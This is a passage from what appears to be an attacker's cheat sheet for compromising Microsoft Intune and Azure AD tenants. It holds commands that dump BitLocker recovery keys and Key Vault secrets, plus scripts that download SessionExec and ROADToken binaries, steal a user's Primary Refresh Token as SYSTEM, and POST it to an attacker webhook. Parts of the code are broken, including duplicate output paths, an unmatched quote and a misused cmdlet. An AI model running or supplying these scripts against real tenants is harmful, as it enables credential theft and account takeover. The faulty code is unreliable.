        Where-Object {$_.PasswordExpirationTime -lt (Get-Date).AddDays(-$DaysBack)} |
            Export-Excel -Path "c:\temp\lapsdata.xlsx" - ClearSheet -AutoSize -Show
Intune - MgGraph - Get Bitlocker Keys
Install-Module Microsoft.Graph -Scope CurrentUser
Import-Module Microsoft.Graph.Identity.SignIns
Connect-MgGraph -Scopes BitLockerKey.Read.All
Get-MgInformationProtectionBitlockerRecoveryKey -All
Get-MgInformationProtectionBitlockerRecoveryKey -BitlockerRecoveryKeyId $bitlockerRecoveryKeyId
Intune - Powerzure - Find targets, scripts and Secrets
$sub = ""
git clone https://github.com/hausec/PowerZure
cd .\PowerZure

Import-Module .\Powerzure.psd1

Set-Subscription -Id $sub
Get-AzureTarget

Get-AzureInTuneScript

Show-AzureKeyVaultContent -All
Intune - PowerShell - Steal PRT / SessionExec as SYSTEM

First Script to target a session

# Define the webhook URL
$webhookUrl = 'YOUR_WEBHOOK_URL_HERE'

# Create a hashtable for the body
$body = @{
    text = $combinedInfo
}

# Convert the body to JSON
$jsonBody = $body | ConvertTo-Json

# Post the information to the webhook
Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $jsonBody -ContentType 'application/json'

Get a Nonce for ROADToken

Import-Module .\modules\GraphRunner.ps1
$domain = "victim.net"

# Construct the URL to get the organization's information by domain
$url = "https://login.microsoftonline.com/$domain/v2.0/.well-known/openid-configuration"

# Send the request
$response = Invoke-RestMethod -Uri $url

# Extract the Tenant ID from the token_endpoint or issuer
$tenantId = $response.token_endpoint -split "/" | Where-Object { $_ -match '^[0-9a-fA-F-]{36}$' }

# Output the Tenant ID
$tenantId

# Get The Nonce with the tid
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" 
$Params = @{ 
    "URI" = $URL 
    "Method" = "POST" 
} 
$Body = @{ "grant_type" = "srv_challenge" } 
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body 
$Result.Nonce

Second Script to exec in that session and Steal PRT

#  SessionExec to run ROADTOken w/ NONCE / ToadToken without
$sessionExecUrl = "" # sessionexec binary hosted
$roadTokenUrl = "" # roadtoken binary hosted
$hookUrl # POST the PRT for collection
$targetUser = "" # just username MarkEMark not azuread\MarkEMark
$nonce = ""
$tempDir = New-Item -ItemType Directory -Path "$env:TEMP\$(Get-Random)"
$tempDirPath = $tempDir.FullName
$filePath = Join-Path -Path $tempDirPath -ChildPath "sessex.exe"
$filePath2 = Join-Path -Path $tempDirPath -ChildPath "toki.exe"
Invoke-WebRequest -Uri $sessionExecUrl -OutFile $filePath
Invoke-WebRequest -Uri $roadTokenUrl -OutFile $filePath
Start-Process -FilePath $filePath -ArgumentList "$targetUser $filePath2 $Nonce > $tempDirPath\pretty.txt"
$PRT = Get-Content $tempDirPath\pretty.txt" | Convert-ToJson $PRT 
Invoke-WebRequest -Uri $hookUrl -RestMethod POST -Body $PRT -ContentType 'application/json'



AzureHound - Cipher Queries